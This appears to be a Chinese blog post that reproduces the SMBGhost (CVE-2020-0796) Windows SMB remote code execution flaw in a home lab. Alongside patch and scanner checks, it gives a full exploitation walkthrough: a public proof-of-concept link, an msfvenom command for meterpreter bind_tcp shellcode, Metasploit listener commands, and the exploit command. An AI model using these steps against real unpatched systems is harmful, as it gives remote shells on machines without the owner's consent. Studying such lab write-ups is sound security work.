容我先吐槽下
没错又是她——smb,windows的wodow。复现了我一天,踩了各种坑。
一、漏洞描述
漏洞公告显示,SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
二、受影响版本
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
三、补丁检测和漏洞检测
这是官方补丁
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762
如果没有安装该补丁可能存在风险
systeminfo | findstr KB4551762
验证你的windows 10是否真的存在这个代码执行漏洞
Python检测脚本
https://github.com/ollypwn/SMBGhost/blob/master/scanner.py
Nmap检测脚本(nse脚本)
https://github.com/cyberstruggle/DeltaGroup/blob/master/CVE-2020-0796/CVE-2020-0796.nse
四、漏洞利用
远程代码执行-POC
https://github.com/chompie1337/SMBGhost_RCE_PoC
1、首先我们先把环境配好
靶机:windows 10 x64 1903
IP:192.168.190.134
攻击机:Kali
IP:192.168.190.130
2、什么是bind_tcp和reverse_tcp
reverse_tcp:攻击机设置一个端口(LPORT)和IP(LHOST),Payload在测试机执行连接攻击机IP的端口,这时如果在攻击机监听该端口会发现测试机已经连接。
bind_tcp:攻击机设置一个端口(LPORT),Payload在测试机执行打开该端口,以便攻击机可以接入。
采用reverse的方法一般较为安全,因为是在测试机连接攻击机,所以一般不会被防火墙发现;而bind在测试机打开端口时很容易被安全软件和防火墙发现。
但是经我反复测试发现bind_tcp能够getshell,绝对的坑。
3、生成自己的shellcode替换 exploit.py中的 USER_PAYLOAD
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python
4、美少妇监听(msf)
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 4444
set rhost 192.168.190.134
run
4、执行exp
执行前先把防火墙和安全软件关掉
python3 exploit.py -ip 192.168.190.134 -p 445
注意这里要运行python3的环境,如果运行python2极有可能就直接蓝屏了,坑。还有人说把win 10虚拟机内存给大点,否则会导致蓝屏。
回到mfs发现已经getshell
如果第一次没有报错但是没有getshell就多试试吧,多多排排雷。